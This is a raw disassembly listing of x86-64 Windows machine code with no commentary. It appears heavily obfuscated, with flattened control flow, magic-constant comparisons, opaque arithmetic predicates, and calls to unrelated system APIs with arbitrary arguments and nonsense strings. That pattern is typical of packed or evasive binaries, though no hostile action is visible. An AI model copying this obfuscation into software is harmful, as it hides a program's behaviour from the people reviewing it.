jmp 0x14000ad59
mov eax, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x5598]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x551c]
mov edx, dword [rsp + 0x5524]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14000ad59
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbd18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbe10]
mov qword [rcx], rax
jmp 0x14000adbe
movzx eax, word [rsp + 0x12e0]
movzx ecx, word [rsp + 0x12f4]
and eax, ecx
mov word [rsp + 0x12cc], ax
mov rcx, qword [rsp + 0xbf48]
call qword [sym.imp.SHELL32.dll_DragFinish]
movzx eax, byte [0x14024f002]
movzx ecx, byte [rsp + 0x198]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbed8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12f0], ax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0xbf50], rax
movabs rax, 0x60a784515653c26f
cmp qword [rsp + 0xbf50], rax
je 0x14000ade7
jmp 0x14000ae40
mov rax, qword [rsp + 0xbe48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbe60]
mov byte [rcx], al
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x199], al
mov rdx, qword [rsp + 0xbe08]
mov rcx, qword [rsp + 0xbdc8]
call fcn.140213740
nop
jmp 0x140211ab9
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [rsp + 0xbd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbe40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbbb8]
mov qword [rsp + 0xbf58], rax
mov eax, dword [rsp + 0x508c]
mov ecx, dword [rsp + 0x5468]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov edx, dword [0x1402505d0]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x14000aeb2
lea rcx, [rsp + 0xbbf0]
call qword [sym.imp.SHELL32.dll_ILFindLastID]
mov qword [rsp + 0xbf60], rax
mov eax, dword [rsp + 0x551c]
mov ecx, dword [rsp + 0x5524]
and ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5514]
mov edx, dword [rsp + 0x5520]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14000afc2
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbdc8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbe40]
mov rdx, qword [rsp + 0xbd60]
mov rcx, qword [rcx]
imul rcx, qword [rdx]
cmp rax, rcx
ja 0x14000af85
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov byte [rsp + 0x19b], al
lea rax, [rsp + 0x19b]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xbc08]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xbf60]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x320f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbd98]
mov r8, qword [rsp + 0xbf68]
lea rdx, str.attendlandmarkLyresPickling
mov ecx, 0xf3
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x5450], eax
movzx eax, word [rsp + 0xcf4]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov word [rcx], ax
mov edx, dword [rsp + 0x5488]
mov rax, qword [rsp + 0xbf00]
movzx ecx, word [rax]
call fcn.140213c40
nop
jmp 0x140211a2a
mov eax, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x5524]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x551c]
mov edx, dword [0x14024f010]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140211a2a
mov rax, qword [rsp + 0xbd60]
mov rax, qword [rax]
mov qword [rsp + 0xbf70], rax
movabs rax, 0x5b75ced226c2d5bd
cmp qword [rsp + 0xbf70], rax
je 0x14000b031
movabs rax, 0xc61d82c6494078e4
cmp qword [rsp + 0xbf70], rax
je 0x14000b0c8
jmp 0x140211a10
movsx eax, byte [rsp + 0x194]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
mov dword [rsp + 0x20], ILGetNext
lea r9, [rsp + 0xbe50]
mov r8, qword [rsp + 0xbd98]
mov rdx, qword [rsp + 0xbd98]
mov rcx, qword [rsp + 0xbe88]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x55a8], eax
mov rax, qword [rsp + 0xbf00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f8]
add eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0xbd18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbdd8]
mov qword [rcx], rax
jmp 0x140211a10
mov eax, dword [rsp + 0x5524]
mov dword [rsp + 0x55ac], eax
cmp dword [rsp + 0x55ac], 0x5d3a60b3
je 0x14000b0e5
jmp 0x14000b163
mov eax, dword [rsp + 0x551c]
mov ecx, dword [rsp + 0x5598]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5524], eax
mov eax, dword [rsp + 0x5470]
mov dword [rsp + 0x55b0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xbf78], rax
mov rax, qword [rsp + 0xbc28]
mov rcx, qword [rsp + 0xbe08]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
sar eax, cl
mov rcx, qword [rsp + 0xbd20]
mov byte [rcx], al
jmp 0x14000b17f
mov rax, qword [rsp + 0xbe40]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [rax]
call fcn.140213740
nop
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x5484], eax
lea rax, [rsp + 0xcf4]
mov qword [rsp + 0xbf80], rax
movzx eax, byte [rsp + 0x197]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
shl eax, cl
movsx ecx, byte [rsp + 0x19b]
mov rdx, qword [rsp + 0xbd40]
movsx edx, byte [rdx]
or ecx, edx
cmp eax, ecx
jne 0x14000b3d2
mov ecx, ILFindLastID
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x55b4], eax
movzx eax, byte [rsp + 0x199]
mov byte [rsp + 0x19c], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xbc68], rax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbbd0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf80]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14024f014], ax
mov rax, qword [rsp + 0xbc70]
mov qword [rsp + 0xbf88], rax
cmp qword [rsp + 0xbf88], 0
je 0x14000b292
movabs rax, 0x75f139562cd59769
cmp qword [rsp + 0xbf88], rax
je 0x14000b3ad
jmp 0x14000b3cd
mov rax, qword [rsp + 0xbf58]
mov qword [rsp + 0xbf90], rax
cmp qword [rsp + 0xbf90], 0
je 0x14000b2b2
jmp 0x14000b376
mov rax, qword [rsp + 0xbd20]
movzx eax, byte [rax]
mov byte [rsp + 0x55b8], al
cmp byte [rsp + 0x55b8], 0
je 0x14000b2dd
cmp byte [rsp + 0x55b8], 0x4d
je 0x14000b353
jmp 0x14000b374
lea rcx, [rsp + 0x2b8f8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [rsp + 0x551c]
mov ecx, dword [rsp + 0x5524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5520], eax
lea rdx, [rsp + 0x2fdb0]
mov rcx, qword [rsp + 0xbba0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x54f8], eax
lea rax, [rsp + 0xbdc8]
mov qword [rsp + 0xbf98], rax
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [rsp + 0xbc78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
jmp 0x14000b374
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbdd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbc20], rax
jmp 0x14000b3ab
mov dword [rsp + 0x20], reloc.SHELL32.dll_SHGetNewLinkInfoW
lea r9, [rsp + 0xbfa0]
mov r8, qword [rsp + 0xbf68]
mov rdx, qword [rsp + 0xbd98]
mov rcx, qword [rsp + 0xbf08]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x55bc], eax
jmp 0x14000b3cd
mov rax, qword [rsp + 0xbf00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f8]
add eax, ecx
mov rcx, qword [rsp + 0xbf00]
mov word [rcx], ax
jmp 0x14000b4f9
movzx eax, byte [rsp + 0x19a]
movzx ecx, byte [rsp + 0x196]
and eax, ecx
movzx ecx, byte [rsp + 0x195]
movzx edx, byte [rsp + 0x197]
sub ecx, edx
cmp eax, ecx
jle 0x14000b4f9
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov dword [rsp + 0x55c0], eax
cmp dword [rsp + 0x55c0], 0x106f
je 0x14000b41f
jmp 0x14000b470
mov rax, qword [rsp + 0xbf00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12f8]
add eax, ecx
mov word [rsp + 0xf78], ax
mov dword [rsp + 0x20], PathYetAnotherMakeUniqueName
lea r9, [rsp + 0xbdf8]
mov r8d, 0x63
lea rdx, str.Regatta_Thrusters
mov rcx, qword [rsp + 0xbfa8]
call qword [sym.imp.USER32.dll_DrawTextW]
mov dword [rsp + 0x551c], eax
jmp 0x14000b4d8
movzx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbe48]
mov byte [rcx], al
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [rsp + 0x12f4]
or eax, ecx
mov word [rsp + 0x12cc], ax
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsGUIThread]
mov dword [rsp + 0x5534], eax
mov rax, qword [rsp + 0xbd60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbe58]
shr rax, cl
mov qword [0x14024f008], rax
mov r8, qword [rsp + 0xbbb8]
mov rax, qword [rsp + 0xbdd8]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x197]
call fcn.1402141e0
nop
mov rax, qword [rsp + 0xbdd8]
mov rax, qword [rax]
mov qword [rsp + 0xbfb0], rax
cmp qword [rsp + 0xbfb0], 0
je 0x14000b51c
jmp 0x140211901
mov rax, qword [rsp + 0xbdd8]
mov rax, qword [rax]
mov qword [rsp + 0xbfb8], rax
movabs rax, 0x126e6a654aff1257
cmp qword [rsp + 0xbfb8], rax
je 0x14000b560
movabs rax, 0x577b5eb656f592f8
cmp qword [rsp + 0xbfb8], rax
je 0x14000b66e
jmp 0x14000b783
movzx eax, word [rsp + 0x12c8]
mov dword [rsp + 0x55c4], eax
cmp dword [rsp + 0x55c4], 0x3a
je 0x14000b650
cmp dword [rsp + 0x55c4], 0xa22
je 0x14000b58f
jmp 0x14000b669
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbed8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x12f8], ax
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
mov rdx, qword [rsp + 0xbfc0]
mov rcx, qword [rsp + 0xbdb0]
call qword [sym.imp.SHELL32.dll_DuplicateIcon]
mov qword [rsp + 0xbfc0], rax
movzx eax, byte [0x14024f002]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19b]
add eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov byte [rcx], al
mov r8, qword [rsp + 0xbc70]
mov rax, qword [rsp + 0xbdd8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xbc40]
movzx ecx, byte [rax]
call fcn.1402141e0
nop
jmp 0x14000b669
movzx eax, word [rsp + 0x12c8]
movzx ecx, word [rsp + 0x12cc]
add eax, ecx
mov word [section..data], ax
jmp 0x14000b783
mov rax, qword [rsp + 0xbf00]
movsx eax, word [rax]
mov dword [rsp + 0x55c8], eax
cmp dword [rsp + 0x55c8], 0x6100
je 0x14000b692
jmp 0x14000b767
lea r9, [rsp + 0xbbb8]
lea r8, [rsp + 0xbdb0]
lea rdx, [rsp + 0x196]
lea rcx, [rsp + 0xbfc8]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x54c0], eax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov ecx, dword [0x1402505d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov eax, dword [0x14024f010]
mov ecx, dword [rsp + 0x5520]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x551c], eax
lea rcx, [rsp + 0x5578]
call qword [sym.imp.SHELL32.dll_ILClone]
mov qword [rsp + 0xbfd0], rax
mov rax, qword [rsp + 0xbdd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbf58]
sar rax, cl
mov rcx, qword [rsp + 0xbe10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbe58]
shl rax, cl
mov qword [rsp + 0xbef8], rax
mov rcx, qword [rsp + 0xbfd8]
call qword [sym.imp.USER32.dll_ArrangeIconicWindows]
mov dword [rsp + 0x5450], eax
jmp 0x14000b783
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x19c], al
movzx eax, word [rsp + 0x12d4]
mov word [rsp + 0x1300], ax
mov rax, qword [rsp + 0xbe20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x196], al
movzx eax, word [rsp + 0x12c8]
mov word [rsp + 0x1304], ax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov dword [0x1402505d8], eax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbed8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbf00]
mov word [rcx], ax
mov r9d, 1
lea r8, [rsp + 0xbce8]
mov rdx, qword [rsp + 0xbce8]
mov rcx, qword [rsp + 0xbd80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x54cc], eax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov dword [rsp + 0x55cc], eax
cmp dword [rsp + 0x55cc], 0
je 0x14000b851
cmp dword [rsp + 0x55cc], 0xd791d889
je 0x14000b8ce
jmp 0x14000b92a
mov eax, dword [rsp + 0x5514]
mov dword [rsp + 0x55d0], eax
cmp dword [rsp + 0x55d0], 0x9308a0a
je 0x14000b8ab
cmp dword [rsp + 0x55d0], 0x2d79cffc
je 0x14000b87b
jmp 0x14000b8cc
mov eax, dword [rsp + 0x5520]
mov dword [rsp + 0x20], eax
mov r9d, dword [0x14024f010]
mov r8d, dword [rsp + 0x5520]
mov edx, dword [rsp + 0x5520]
mov ecx, dword [rsp + 0x551c]
call fcn.140213850
nop
jmp 0x14000b8cc
mov rax, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xbbd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe40]
mov qword [rcx], rax
jmp 0x14000b92a
mov eax, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x5598]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5520], eax
lea r8, [rsp + 0x320f0]
mov rdx, qword [rsp + 0xbc10]
mov rcx, qword [rsp + 0xbfe0]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0xbcb8], rax
mov rax, qword [rsp + 0xbd68]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x543c], eax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov dword [rsp + 0x55d4], eax
cmp dword [rsp + 0x55d4], 0
je 0x14000b94b
jmp 0x14000ba5a
mov rax, qword [rsp + 0xbe10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc70], rax
movsx eax, word [0x1402505d4]
movsx ecx, word [rsp + 0x12d8]
sub eax, ecx
mov rcx, qword [rsp + 0xbd78]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x12f8]
add ecx, edx
cmp eax, ecx
jg 0x14000b9fd
mov edx, dword [rsp + 0x5480]
mov rax, qword [rsp + 0xbd78]
movzx ecx, word [rax]
call fcn.140213c40
nop
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd60]
mov qword [rsp + 0x2b800], rcx
movzx ecx, al
mov rax, qword [rsp + 0x2b800]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xbe40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbc70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbbb8]
mov rdx, qword [rsp + 0xbc20]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jl 0x14021199a
mov eax, dword [rsp + 0x551c]
mov ecx, dword [rsp + 0x5514]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5598], eax
lea rdx, [rsp + 0x2b808]
lea rcx, [rsp + 0x5448]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x2b810], rax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xbc70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbc20], rax
mov edx, 0xf0
lea rcx, [rsp + 0x2b818]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xbd68]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov dword [rcx], eax
movsx eax, word [rsp + 0x12d4]
movsx ecx, word [rsp + 0x12f8]
sub eax, ecx
mov word [rsp + 0xf78], ax
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [rsp + 0x508c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5480], eax
movzx eax, byte [rsp + 0x19a]
mov byte [rsp + 0xaf08], al
cmp byte [rsp + 0xaf08], 0x96
je 0x140211a61
jmp 0x140211a95
mov rax, qword [rsp + 0xbe48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe60]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x196], al
mov rcx, qword [rsp + 0xbbf8]
call qword [sym.imp.USER32.dll_IsWindowUnicode]
mov dword [rsp + 0x5544], eax
mov rax, qword [rsp + 0xbe40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbd60]
mov qword [rcx], rax
mov ecx, 0x6c
call qword [sym.imp.USER32.dll_SetDoubleClickTime]
mov dword [rsp + 0x5534], eax
mov edx, dword [rsp + 0x5480]
movzx ecx, word [rsp + 0x12d4]
call fcn.140213c40
nop
movzx eax, byte [rsp + 0x107]
mov byte [rsp + 0xaf0c], al
cmp byte [rsp + 0xaf0c], 0x73
je 0x140211afb
jmp 0x140211b2b
mov eax, dword [rsp + 0x5598]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x5524]
mov r8d, dword [0x14024f010]
mov edx, dword [rsp + 0x5598]
mov ecx, dword [rsp + 0x5514]
call fcn.140213850
nop
jmp 0x140211b6a
mov rax, qword [rsp + 0xbc70]
mov rcx, qword [rsp + 0xbc20]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe58]
movzx ecx, al
mov rax, qword [rsp + 0xb800]
shl rax, cl
mov qword [rsp + 0xbc58], rax
mov r9d, 0xa7
xor r8d, r8d
mov edx, PathYetAnotherMakeUniqueName
lea rcx, [rsp + 0xbed8]
call qword [sym.imp.USER32.dll_AdjustWindowRectEx]
mov dword [rsp + 0xaef8], eax
jmp 0x140211cd2
mov rax, qword [rsp + 0xbd40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x199], al
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov dword [rsp + 0xaf10], eax
cmp dword [rsp + 0xaf10], 0x4fbd
je 0x140211bd2
jmp 0x140211bd4
jmp 0x140211bf7
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5578]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5480]
mov rdx, qword [rsp + 0xbd68]
mov edx, dword [rdx]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140211c80
lea rdx, [rsp + 0x196]
mov rcx, qword [rsp + 0xbe88]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [rsp + 0x5488], eax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x198]
and eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf78], ax
mov r8d, 0xf5
lea rdx, [rsp + 0xbe48]
lea rcx, [rsp + 0xbe10]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0xaf04], eax
mov eax, dword [rsp + 0x5520]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x5514]
mov r8d, dword [rsp + 0x551c]
mov edx, dword [rsp + 0x5520]
mov ecx, dword [rsp + 0x5524]
call fcn.140213850
nop
mov rax, qword [rsp + 0xbd68]
mov ecx, dword [rsp + 0x5480]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x5448]
mov edx, dword [rsp + 0x543c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140211d4e
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0xbe40]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbd60]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5520]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x551c]
mov r8d, dword [rsp + 0x5520]
mov edx, dword [rsp + 0x551c]
mov ecx, dword [rsp + 0x551c]
call fcn.140213850
nop
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5488]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5480], eax
jmp 0x140211d82
mov rcx, qword [rsp + 0xbf10]
call qword [sym.imp.USER32.dll_GetWindowDC]
mov qword [rsp + 0xbe80], rax
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe60]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe60]
movzx ecx, byte [rcx]
sar eax, cl
movzx ecx, byte [rsp + 0x19a]
mov rdx, qword [rsp + 0xbbd0]
movzx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
jl 0x140211e6a
movsx eax, word [rsp + 0x12d4]
mov dword [rsp + 0xaf14], eax
cmp dword [rsp + 0xaf14], 0x5b0
je 0x140211df7
jmp 0x140211e4b
mov rax, qword [rsp + 0xbed8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12f8], ax
mov edx, 0xec
lea rcx, [rsp + 0xbc58]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0xbd40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19b]
add eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov byte [rcx], al
jmp 0x140211e68
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12f4]
and eax, ecx
mov word [rsp + 0x12cc], ax
jmp 0x140211eb1
movzx eax, word [rsp + 0x12e0]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0xbe18]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jle 0x140211eb1
mov rdx, qword [rsp + 0xbe58]
mov rcx, qword [rsp + 0xbdc8]
call fcn.140213740
nop
jmp 0x140211f17
movzx eax, word [rsp + 0xcf4]
movzx ecx, word [rsp + 0x12f4]
add eax, ecx
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
movzx edx, word [section..data]
add ecx, edx
cmp eax, ecx
jge 0x140211f17
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf4]
sub eax, ecx
mov word [section..data], ax
lea rdx, [rsp + 0x5470]
lea rcx, [rsp + 0x19a]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0x2b820], rax
mov rax, qword [rsp + 0xbe08]
mov rcx, qword [rsp + 0xbbd8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe40]
mov qword [rcx], rax
mov rdx, qword [rsp + 0xb800]
mov rcx, qword [rsp + 0xbe08]
call fcn.140213740
nop
jmp 0x140211fe7
movsx eax, word [rsp + 0x12f8]
mov dword [rsp + 0xaf18], eax
cmp dword [rsp + 0xaf18], 0x1be1
je 0x140211f71
jmp 0x140211fce
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcf4], ax
mov eax, dword [rsp + 0x5470]
mov ecx, dword [rsp + 0x5480]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov r8, qword [rsp + 0x2b818]
mov edx, 0xd9
mov ecx, 0xc4
call qword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov dword [rsp + 0x5470], eax
jmp 0x140211fe7
mov eax, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x5524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5520], eax
mov rdx, qword [rsp + 0xbbd8]
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [rax]
call fcn.140213740
nop
jmp 0x140212031
mov eax, dword [rsp + 0x551c]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x551c]
mov r8d, dword [rsp + 0x5520]
mov edx, dword [rsp + 0x551c]
mov ecx, dword [rsp + 0x5514]
call fcn.140213850
nop
mov rcx, qword [rsp + 0xbeb0]
call qword [sym.imp.USER32.dll_IsHungAppWindow]
mov dword [rsp + 0x5500], eax
mov rax, qword [rsp + 0xbc20]
movzx ecx, al
mov rax, qword [rsp + 0xbc70]
sar rax, cl
mov rcx, qword [rsp + 0xbe10]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0xbbb8]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x1402120af
movsx eax, word [rsp + 0xf78]
movsx ecx, word [rsp + 0x12d8]
